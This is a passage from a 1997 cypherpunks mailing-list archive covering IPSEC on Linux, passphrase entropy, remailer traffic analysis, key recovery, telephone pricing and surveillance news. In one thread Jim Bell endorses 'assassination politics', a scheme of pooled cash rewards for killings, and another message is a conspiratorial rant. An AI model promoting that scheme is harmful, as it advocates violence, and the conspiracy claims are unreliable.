iQCVAwUBMvzAT7WqygGLsQD9AQF+RwP+IbLejl0wMKQzPJmHbIOann+KUB0zsXps 36bjfsyjIYZwkcbhjqCh2lFpljlmeMMVtPX90bPLRb0J+Bgbmcv7h24BN2Q5sInr AFFk4ST07uLZ8ICJzwtkHYgNwgMmdba2QeDQ0SZCH8FYMQiLpkf45TTIIger8MXt Rkkv3V23nts= =MgGH -----END PGP SIGNATURE----- | Joe Chou | http://devbio-mac1.ucsf.edu/joe.html | Bargmann Lab, UCSF Department of Biochemistry | PGP KeyID 0x8BB100FD: at web page or public key servers | PGP Fingerprint [4194 EBC6 EEB0 7B1A F18F 2185 D406 EDFF] From alan at ctrl-alt-del.com Tue Feb 11 06:11:45 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Tue, 11 Feb 1997 06:11:45 -0800 (PST) Subject: NETLINK_IPSEC Message-ID: <199702111411.GAA19349@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 04:21 PM 2/7/97 -0800, Jeremey Barrett wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are >undeclared. I added NETLINK_IPSEC to include/net/netlink.h, >but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0, >the INSTALL.txt file in the ipsec distribution mentions 2.0.24, >is that the minimum kernel to run on? Is there any specific reason for staying with the 2.0.0 kernel? (I would think you would want to upgrade just for the "Ping O' Death" fix alone.) Has anyone tried IPSEC with the 2.1.x kernels? Are there a logcation that describes the differences between 2.0.x and 2.1.x? (I have not been able to find one...) Then again, I have yet to find a list of what was fixed from kernel to kernel... (Probibly in some directory of the tar file...) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvytcOQCP3v30CeZAQHL5gf/RVBzl8nunBPg7wCiS4qGSo+M/BsBrBNM bKowgWaZI5UNtMgmxnxadrd7O6uvQv15+U9XO5qhbXNKm0ZoDpBF1hLY4jk2sx4i AH3VQE2YQayIkMbYMvjA7A4tYyXEay8KwGKgqYLsVkhMQ2HDo7CFS6xwD3N5jJ7V Ln/GWLfhd6uK3sPtWYkX6BcM0gNs2l6gJOojcfwghqwgXGVc4ooY8SyWweJgT4OK lGQNmzEeNDDCRXfa6pE5BnSYeAgRPqPvltIwgutpcVGq3KPJ0UuiTHpiYt7A+GYa yT6r+IN9T6O/ws53dUAlIJZZ73cG1Me6Q15z/8uLbzD7WsAP6ifWVw== =pZed -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From unde0275 at frank.mtsu.edu Tue Feb 11 06:11:46 1997 From: unde0275 at frank.mtsu.edu (Internaut) Date: Tue, 11 Feb 1997 06:11:46 -0800 (PST) Subject: Passphrase generation Message-ID: <199702111411.GAA19350@toad.com> Hi, I am wanting to learn how to generate a passphrase that is at least as strong as the IDEA algorithm. I have looked several other places on the web for an answer to this, but they all had different things to say that didn't add up (no pun intended :). The IDEA algorithm it seems is 2^128 = 3.402823669209e+38 = 16 bytes (charactors). The charactor count seems kinda small (I am presuming the 16 charactors are truely random). Indeed, 128(ASCII charactor set)^16 = 5.192296858535e+33. Is my thinking right here? Is it better to do this- 94(printable ASCII set)^20 = 2.901062411315e+39, yielding 20 charactors? Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII nonsense in there for it not to be in any crack dictionaries, how random is that? Is it only as random as the extra charactors you put in? How would you calculate that? Also, how many charactors do you have to add of a set to add its permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)? Thanks, Internaut From WlkngOwl at unix.asb.com Tue Feb 11 06:11:49 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Tue, 11 Feb 1997 06:11:49 -0800 (PST) Subject: E-cash and distributed computing... Message-ID: <199702111411.GAA19363@toad.com> This is probably not an original idea, but... Here's a potential use for E-cash: a server that doles out Java apps to clients; the clients run the apps, calculating whatever results are needed, and uploads the results in return for E-cash (perhaps a zero-knowledge proof that the result is accurate? another is to use only a trusted pool of registered and accountable users rather than anonymous clients). The server admins would be paid by those who need computations, keeping a percentage and using the rest to be offered as E-cash to clients with spare computing power. A lot of possibilities here... a configuration where a set price is offered for a computation (the user can check for the highest offer on a server, or refuse an offer below a certain amount). Or maybe applets would only be doled out to systems that meet a certain criteria (minimum computing power). A more complex system where 'bids' are placed based on computing power is possible too (those w/better systems would want more cash, or be willing to pay it). Problem: open to forms of 'abuse' (imagine a sysadmin making E-cash using his employer's machines overnight). It might make an interesting experimental project to work on. --Rob ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From 2ndSun at bigfoot.com Tue Feb 11 06:11:53 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:11:53 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702111411.GAA19372@toad.com> I have no idea why I received the below message. I don't know any of the people in it, and I don't care about the issue. ---------- > From: Alan Olsen > To: Anil Das > Cc: cypherpunks at toad.com > Subject: Re: Enlightened commentary on Netizen. > Date: Saturday, February 08, 1997 10:55 AM > > -----BEGIN PGP SIGNED MESSAGE----- > > At 08:41 PM 2/6/97 -0800, Anil Das wrote: > > > However, the question has to be asked, why the fuck should we non US > citizens go and buy > > cryptographic software that is deliberately coded to allow the US > government to read our mail? > > You shouldn't. > > Maybe someone should print up a batch of "Voyeur Enabled" stickers for all > the GAKed products (or should that be KRAP products, since it is the Key > Recovery Alliance, but that is redundant) we will be seeing at our local > software stores. > > Sometimes I think the reason for all this snake oil we have been seeing is > the Feds need it for extra lubricant so they don't chafe themselves while > getting off on reading our mail. > > -----BEGIN PGP SIGNATURE----- > Version: 4.5 > > iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy > oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS > 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6 > zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV > 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY > Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw== > =Prg6 > -----END PGP SIGNATURE----- > > --- > | "Mi Tio es infermo, pero la carretera es verde!" | > |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | > | mankind free in one-key-steganography-privacy!" | Ignore the man | > |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| > | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From wneugent at smiley.mitre.org Tue Feb 11 06:11:55 1997 From: wneugent at smiley.mitre.org (Bill Neugent) Date: Tue, 11 Feb 1997 06:11:55 -0800 (PST) Subject: Encrypted filing of patents sans GAK? Message-ID: <199702111411.GAA19378@toad.com> Willis, My understanding is that Patty Edfors is overseeing *two* groups of pilots. One group to experiment with PKIs in government agencies and another group of ten, as David Aaron said, to "demonstrate the practicality" of key recovery. The quotes are from my notes of Aaron's talk at the RSA Data Security Conference. Aaron *did* mention as an example the "filing of patent applications to the patent office" as an activity that is to explore key recovery, but I know nothing of the specifics of that. Also, my understanding is that the intent is definitely *not* to store private keys used for signing. The GAO has issued a ruling that this is a no-no. I agree with your judgment that doing so would compromise the protection one expects from digital signatures. Besides, as one of the speakers noted at the Conference last week, the evidentiary value of data gained from wiretapping surely would lose some of its value if a third party were holding private signature keys of the culprit being wiretapped. Bill >-- >Folder: YES >-- >Sir: > >I believe that the words have been misleading. According to a briefing that >I heard in December at a meeting of the Computer System Security and >Advisory Board, Ms. Patty Efors of the Department of Treasury described a >group of 10 pilot projects designed to test the efficacy and application of >digital key signatures in government agencies. I recall no mention of key >recovery and in fact, I would assert that if the private keys used in >digital-signature schemes are in the hands of a 3rd party, the protection >expected from a digital signature will have been compromised. > >Presumably Ambassador Aaron and Ms. Edfors were talking about the same 10 >projects; and if so, then the Ambassador's presentation was confused. > > Willis H. Ware > Santa Monica, CA From rodney at sabletech.com Tue Feb 11 06:12:00 1997 From: rodney at sabletech.com (Rodney Thayer) Date: Tue, 11 Feb 1997 06:12:00 -0800 (PST) Subject: question on setting up for ipsec/linux Message-ID: <199702111412.GAA19386@toad.com> I have 0.4 compiled and loaded on my 2.0.27 system. I have configured an FTP Software client appropriately for treating the Linux box as a tunnel for a far-end destination machine. I try doing a ping of the far machine. The FTP client sends a packet to the Linux box. Lan tracing and the printfs on the master console of the Linux box seem to indicate that the packet really did go to the linux box. However, what happens is: - the Linux box sends a "protocol unreachable" back to the FTP client. - the printf's on the console (a line starting with "ipsec_esp" new ip packet" shows the incoming PING packet Now I run AH (MD5) and ESP (DES) and the fact I see a fully decrypted PING packet on the Linux console is quite promising because that seems to prove I got the SPI's and keys and such configured correctly. I have checked the documentation that came with the release and the one thing I did not see was the message "ipsec_tunnel: tunnel: version v0.2b2". I suspect I have managed to NOT configure some tunnel thing and the IPSEC code itself is working properly. I suspect I have somehow misconfigured it such that, after the nice pretty IP packet is unwrapped from the ISPEC headers, it is not properly injected into the protocol stack properly. I'd be happy to read the source code to work on this but I'm not sure where to start looking. The missing message comes from ipsec_tunnel.c I know from tests sending it invalid SPI values that I really am executing parts of that file. Rodney Thayer +1 617 332 7292 Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA Fax: +1 617 332 7970 http://www.shore.net/~sable "Developers of communications software" From dthorn at gte.net Tue Feb 11 06:12:05 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:12:05 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702111412.GAA19396@toad.com> Otto Matic wrote: > >Otto Matic wrote: > >> What else do I need for an internet server? > >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high > >> speed hard drives. These are the Tall Towers that have multiple > >> drives, these are server towers. > >> I think I have a router Hub. And a couple LAN cards. > >> That's all I have. But I just got them, and I want to use them. I assume I > >> will be using some kind of UNIX software. > >HP does some strange things to their BIOS software - you may want to > >get one of those net analyzer tools and some low-level software that > >can monitor what your HP's are sending and receiving, just in case. > >They don't normally use Vectras for UNIX, so what effects you can > >expect, I don't know. > Dale, Thanks for your reply. Really I'm not sure about UNIX, I was just > guessing. What I really need is a B.O.M (bill of materials). What other > 'hardware' will I need to round up in order to get this server up and running. Some of the guys in the HP user group have UNIX running on Vectras, but they also use a full raft of hardware tools, which I don't have access to. There's an actual HP-48 calculator, complete in every way including appearance, running on that version of UNIX. Don't remember the name, but it comes on a few CD's, and costs around $50. To me, 486 and 50 mhz suggest something HP is getting far removed from, so don't expect much help there. Few if any computer outlets will be able to handle the HP peculiarities. You shouldn't have any trouble getting the general parts list off the internet here and there, and there used to be HP forums to provide off-line support on Vectra hardware, but it might be harder with older equipment. Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need to talk to someone who knows internet domain names for info on Vectras and the like. Don't let them slough you off - if they don't have the info, make them give you another name and number. If you get a runaround after several calls, let me know who you talked to, on what phone #'s, at what time, and I'll give it a shot myself. From 2ndSun at bigfoot.com Tue Feb 11 06:12:09 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:12:09 -0800 (PST) Subject: anonymous remailers Message-ID: <199702111412.GAA19413@toad.com> I don't know what you're talking about. Who is "cypherpunks," and who are you? Please don't answer...I'm just trying to figure out how I started getting these wierd e-mails from people I never heard about discussing something I never cared about. I truly want you to have a great life...but please leave me out of it. ---------- > From: Mark M. > To: cypherpunks at toad.com > Subject: Re: anonymous remailers > Date: Saturday, February 08, 1997 11:11 AM > > -----BEGIN PGP SIGNED MESSAGE----- > > On Sat, 8 Feb 1997, Jeremiah A Blatz wrote: > > > Ummm, if you run your own remailer, and don't get lots of people to > > use it, then traffic analysis will reveal that you are the sender > > quite quickly. It will pretty much make everything in the chain before > > your remiler useless. If you send your message through remailers a, b, > > c, and d like this: > > > > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen > > > > and only you use c, then your effective chain is: > > > > someone who could only be you -> d -> alt.drugs.and-other-various-horsemen > > This is assuming that it is a reasonable assumption that all traffic going > through remailer c originated from the owner. If there is one non-corrupt > remailer in the chain before c, then this would not be a valid assumption > because traffic from the owner would be indistinguishable from traffic sent > by anyone else. If the remailer has low traffic, the solution is, of course, > to make it higher traffic. Chain a bunch of messages that get sent to > /dev/null through the remailers, being sure to include c somewhere in the > middle of the chain. If Mixmaster is used, then it would be virtually > impossible to differentiate between "real" messages and messages destined for > /dev/null. It would be a little easier with Type I since the size of the > ciphertext decreases after each hop. This all assumes that encryption is being > used, of course. > > > Mark > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3 > Charset: noconv > > iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn > +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv > nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj > eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc > QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX > 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ== > =BqMW > -----END PGP SIGNATURE----- > From 2ndSun at bigfoot.com Tue Feb 11 06:12:11 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:12:11 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111412.GAA19423@toad.com> Ok...this is the fourth junk e-mail I've received that I don't want. Your account is in jeapordy, and my advice is for you to just stop sending me this junk. Take me off your e-mail list, NOW. If this e-mail from me, being mad at you, is what makes you happy, and is how you have fun, then you just have a personal problem and I feel sorry for you. Do what you can to heal yourself...meanwhile, don't send me anymore...your isp provider is next on my e-mail list. ---------- > From: Dale Thorn > To: freedom-knights at jetcafe.org; cypherpunks at toad.com > Cc: Against Moderation ; InterNet Freedom Council > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 10:54 AM > > ??? wrote: > > [some text deleted] > > > > Before I explain what has happened, I want to make one thing > > > absolutely clear. Though I've thought the moderation of cypherpunks > > > was a terrible idea from the start and am even more convinced of it > > > now, I don't assign any blame to Sandy. I believe he offered to > > > moderate the list with the best of intentions, and I sincerely > > > appreciate his efforts to try to revive what was once a fantastic > > > mailing list, even if in my opinion those efforts have backfired. > > This is the fatal mistake, assuming it's really a mistake. > I've worked under several corporations where, at a certain > point in time, things just "went crazy", and the owners/ > managers were scrambling desperately to plug as many holes > in the dike as they possibly could, to no avail. > > People don't understand why things just "go crazy" at a particular > point, and so they accept the coincidence theory ruse, lacking any > other evidence. Use your head, folks. This is not a list made up > of sewing-circle nannies, these are security people, NSA, CIA, and > all the ugly things you shut out of your conversations because you > don't want to admit the truth. "Paranoia is a way of knowing". > > Today I saw an old picture of Albert Einstein in full Indian regalia, > smoking a peace pipe with some Hopi people. I thought of the Capone > mob and the "kiss of death", or Judas and Jesus, you get the picture. > > So Einstein puts his name and reputation and personal seal of approval > on the creation of the Doomsday Device, the atom bomb, knowing full > well that it will be used to murder millions of people. What does he > do for an encore? Plants the "kiss of death" on the Hopis, whose > environment is co-opted by the mad bombers and their Nazi-infested > thug "scientist" cohorts, for the experimentation and storage of > nuclear and other hazardous materials. You know, Nevada, Arizona, > New Mexico, all those "useless, desert lands" occupied by the > Indians. > From jimbell at pacifier.com Tue Feb 11 06:12:15 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 11 Feb 1997 06:12:15 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702111412.GAA19434@toad.com> At 01:35 AM 2/6/97 -0600, snow wrote: >> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: >> >on or about 970204:0312 Greg Broiles said: >> >+ Is the desire for an anarchic community at odds with a desire for >> >+ good use of resources? >> Actually, it is quite possible that an "anarchic community" is _more_ >> efficient in the use of resources than some sort of organized community. >> It is explained, for example, that the reason there are so many different >> kinds of life on earth is that there are so many ecological niches to fill. > > Good does not necessarily mean efficient, and efficient does not >necessarily mean good. Since the definition of "good" above wasn't specified, I substituted "efficient." > Picture--if you can--the "perfect" centrally planned economy where all >possible market conditions, wants and needs are taken into account. Factories >are placed optimally for access to natural resources and distribution to >consumers etc. Also assume that the people running this society _are_ intersted >in efficient production methods, and activly look for new and better ways of >getting things done--benign facism/socialism if you will. This would (assuming >perfect people, but bear with me) be the _most efficient_ method of producing >and delivering goods, but it would introduce certain "choke points", one >natural disaster or war could cripple production of necessary items. Let me suggest, however, that in addition to the "choke point" problem, it is also impossible, maybe even theoretically so, for a similar reason "Maxwell's Demon" is. Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which was postulated to allow the passage of molecules of energy greater than average, and stop the passage of molecules of energy less than average. The net result would have been, theoretically, a separation of a gas into two halves of dramatically different temperatures. However, given such a heat separation, it should be possible through some heat engine to extract energy from this difference, and return the gas to its prior statistical distribution of energies. Was this "something from nothing"? Obviously this appeared to be a serious contradiction, given the various laws of thermodynamics, and it was. It turns out that the source of the contradiction is the false presumption, implied above, that it is possible to identify and thus separate molecules without using appreciable amounts of energy. Perhaps not surprisingly, the amount of energy needed to do the separation is at least as great as whatever amount of energy you could theoretically extract from the system, almost magically balancing the books. I suggest that centrally-planned economic theory may fail for a very similar reason: Implicit in that analysis it is assume that it is possible to do a "cost-free" plan, where in reality costs do occur. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Tue Feb 11 06:12:18 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 11 Feb 1997 06:12:18 -0800 (PST) Subject: ISPs vs Bells - Email FCC Message-ID: <199702111412.GAA19446@toad.com> At 11:26 AM 2/7/97 -0500, Derrick Storren wrote: >By Michelle V. Rafter >LOS ANGELES - Regional phone companies and Internet service providers >are waging a war of words over Internet traffic on the nation's local >telephone network and who should pay for upgrades as the online boom >continues. [snip] >In one corner, Pacific Bell, Bell Atlantic and other regional phone >carriers say the growth of Internet traffic is pushing local telephone >networks to the breaking point. > >Pacific Bell, for example, says Internet surfers use its phone lines an >average of 45 minutes a day -- more than twice the amount the network >was built to handle. Heavy Internet use in Silicon Valley led to brief >service outages in that area earlier this year, the company said. This is an "excellent" example of lying with statistics. Contrary to the implication above, telephone switches aren't designed to handle a certain amount of telephone traffic per day; Rather, they are designed to handle a certain peak amount of traffic. This, and the knowledge about the typical usage patterns that communities generally see in their telephones allows a statistician to estimate how much traffic that switch will actually see per day, in the real world. However, change the pattern of usage, perhaps by adding usage to previously-underused time periods, and you could dramatically increase the daily traffic statistics for a given telephone switch. If, say, 2% of the population were to suddenly decide to make 6-hour phone calls daily between 12 midnight and 6am, a time of very low usage, you might increase the average daily usage by 50%, but with absolutely no increase in the peak usage during the daytime hours nor need for new switches. While that's a fanciful example, a similar effect occurs, I think. I've seen a set of graphs showing the typical usage level for the Teleport ISP, and it appears that while usage reaches a level of about 70% between about 8 am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 pm and 11 pm at about 98% usage. This is long past the time that most humans make voice phone calls. The implication is that easily 3/5 of Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame which is definitely post-peak hours. (Traditionally, pre-Internet, telephone usages peaks at about 11 am and 3 pm.) Since modern telephone switches don't wear out, unused call capacity is simply wasted. It makes no sense to charge people more for services which cost the supplier no more to provide. >If, for example, Internet providers passed through an access fee of 1 >cent a minute, a subscriber spending 10 hours online a month would pay >an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with >Forrester Research in Cambridge, Mass. Even that is unacceptable. If an average ISP's phone line was busy 50% of the time, with "only" an extra charge of 1 cent per minute, that would be an average charge of $7.20 per day, or $216 per month, as compared to a typical business line which might cost, say, $40 per month. Jim Bell jimbell at pacifier.com From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 11 06:12:20 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 11 Feb 1997 06:12:20 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <199702111412.GAA19450@toad.com> In reply to Dr. Agre's comment, I'd point out that one normally has more than one insurance company to choose from... not the case with governmentally-imposed road taxes. -Allen From: IN%"rre at weber.ucsd.edu" 9-FEB-1997 02:12:23.32 To: IN%"rre at weber.ucsd.edu" CC: Subj: Proposed satellite monitoring of car movements in Sweden [If it wasn't taxes, it would be insurance.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST) From: risks at csl.sri.com Subject: RISKS DIGEST 18.81 RISKS-LIST: Risks-Forum Digest Thursday 6 February 1997 Volume 18 : Issue 81 ---------------------------------------------------------------------- Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET) From: Feliks Kluzniak Subject: Proposed satellite monitoring of car movements in Sweden The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish paper aimed at information technology professionals), contains an item that might be of some interest to those RISKS readers who followed discussions about automatic highway toll booths in the US and related subjects. My (probably imperfect) translation follows. Car users will be be put in "feetcuffs" (written by Margaretha Sundstroem) With the help of a new satellite system car users might pay different taxes, depending on when and where they drive. This is what the State communications commission is said to be discussing. According to (the newspaper) "Dagens Politik", the State communications commission is discussing a proposal to use satellites for determining car taxes in the future. It is proposed that all of Sweden's 3.5 million cars should be equipped with a little reader fastened to the instrument board. Car users would then buy cards that can be inserted into the reader. The card would communicate with a satellite that would register where you drive and for how long. The car tax would then be withdrawn from the card. The proposal has been put forward by the State institution for communication analysis. They estimate that just the Stockholm (tax) authorities would be able to earn six billion crowns by using this system. The costs for car users would thereby increase. - - - - The reference to "feetcuffs" (by analogy to "handcuffs" - ankle shackles?) is an allusion to radio transmitters that are irremovably fastened to the ankles of some criminals in this country so that the authorities can monitor their compliance with the rules of house arrest. The word "communication" is meant to include car traffic etc. The word "billion" is given in its US meaning: a thousand million. The risks? Apart from the risks of having very complex systems automatically determine how much you have to pay, there are the usual privacy considerations. Some cry out "big brother". Others say you are already in this situation if you carry a cellular phone. Feliks Kluzniak, Carlstedt Research & Technology, Gothenburg ------------------------------ End of RISKS-FORUM Digest 18.81 ************************ Standard Risks reuse notice: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse. From omega at jolietjake.com Tue Feb 11 06:12:23 1997 From: omega at jolietjake.com (Omegaman) Date: Tue, 11 Feb 1997 06:12:23 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702111412.GAA19459@toad.com> In article <199702051706.JAA01075 at toad.com> "Attila T. Hun" writes: From: "Attila T. Hun" Date: Wed, 05 Feb 97 14:41:32 +0000 X-From-Line: attila at primenet.com Thu Feb 6 15:02:07 1997 X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil] ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila at primenet.com" "<199702051706.JAA01075 at toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U Attila T. Hun Feb 5 57/2456 " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil] nil) Sender: owner-cypherpunks at toad.com Precedence: bulk Lines: 57 X-Gnus-Article-Number: 23 Fri Feb 7 00:40:14 1997 -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:2343 jim bell said: +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: +> In a "popular" anarchy, Jim Bell's assassination politics make +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. +I guess I don't understand the distinction you are trying to make, +between a "popular anarchy" and an "anarchy." Maybe you were trying +to distinguish between "dictatorship of the few (or one)" and +"dictatorship of the many (perhaps a majority)" but it didn't come out +very understandably. +Put simply, "anarchy is not the lack of order. It is the lack of +_orders_." disagree. pure anarchy is not the lack of "orders" --pure anarchy implies that everyone is imbued with that perfect sense of responsibility. +> anarchy is only possible in an ideal world where _everyone_ +> assumes not only responsibility for themselves, but for the common +> good. no malice, no greed, no need for assassination politics.... +No, that's traditional thinking and that's wrong. See AP part 8. +Freud believed (as "everyone" else believed, even myself, before AP) +that anarchy was inherently unstable. But it ISN'T, if the tools of +AP are used to stabilize it. And no, no altruism is necessary for AP +to work as well; no individuals are being asked to sacrifice +themselves for the common good. Rather, they are given the +opportunity to work to achieve a reward offered, cumulatively, by a +number of citizens. aah, but that is the difference between a _pure_ anarchy and a _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in that _noone_ lacks the necessary resonsibility to keep society moving, each individual in their own niche. As long as there is perfect responsibility in a perfect anarchy, then there is no need for AP. AP is a negative, or _punative_, influence; I might liken it to the Catholic Church which is a religion of fear, and an instrument of political control. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF 0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3 WlyL0xDT1PM= =sfD3 -----END PGP SIGNATURE----- -- _______________________________________________________________ Omegaman From: IN%"rre at weber.ucsd.edu" 8-FEB-1997 23:44:12.64 To: IN%"rre at weber.ucsd.edu" CC: Subj: Copyright and the Net: Is Legislation the Answer? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Tue, 4 Feb 1997 22:03:10 -0500 From: Dave Banisar Subject: Panel - Copyright and the Net: Is Legislation the Answer? Copyright and the Net: Is Legislation the Answer? ACM97: The Next 50 Years of Computing Sunday March 2 2:00 PM - 5:00 PM Fairmont Hotel San Jose, CA Sponsored by the U.S. Public Policy Committee of ACM (USACM) Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold Moderator: Barbara Simons, Chair, USACM o What is the role of copyright in all-electronic publication world? Will it be replaced by contract law? o Can the needs of authors who want to publish for renown (academics) and authors that want to publish for pay (entertainment etc) be handled in one mechanism? o Should browsing on the World Wide Web of full copyrighted texts be made illegal because people make temporary copies in their computer's memory when they look at a web page? o Should online service providers, including libraries and universities, have to monitor user accounts in order to enforce copyright laws? o Should firms that compile data have intellectual property rights so that scientists and news reporters can't use the data without permission or payments? o How should existing differences in national copyright be handled in a networked world where national boundaries and are little more than a speedbump on the information superhighway? o Does technological protection for copyrighted works inherently undermine fair use ? These and related issues will confront the 105th Congress in the coming year. They will also be examined by this panel, which will discuss controversies surrounding the extension of copyright law to deal with cyberspace. Examples include: How does proposed legislation reflect the net? How much influence have lobbyists for the entertainment industry had in writing legislation? What should be the role of professional societies in analyzing policy initiatives? We will discussed legislation and international treaties that have been proposed by the White House. We will also examine both technical and legal approaches to problems created by the net, as well as how various approaches might impact the science, technology, and business communities. A significant amount of time will be allowed for audience interaction in the discussion. Biographical sketches Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati and is Chairman of the firm's Interactive New Media practice group. He represents publicly and privately-held companies in the multimedia, software, computer, on-line and entertainment industries. Hank has authored numerous articles in the fields of venture capital, interactive media and technology transactions. He currently serves on the Editorial Board of the Cyberspace Lawyer. Hank received his law degree in 1983 from Stanford University, where he was managing editor of the Stanford Law Review. Pamela Samuelson is a Professor at the University of California at Berkeley where she holds a joint appointment at the School of Information Management and Systems and in the School of Law. She has written and spoken extensively on the challenges posed by digital technologies for the law, particularly in the field of intellectual property. She is a Contributing Editor of Communications of the ACM and a Fellow of the Electronic Frontier Foundation. Mark Stefik is a principal scientist at the Xerox Palo Alto Research Center. At Stanford University he received a Bachelor of Science degree in mathematics in 1970 and a Ph.D. in computer science in 1980. His current research activities are in approaches for creating, protecting, and reusing digital property. Stefik is review editor for the international journal "Artificial Intelligence" and has 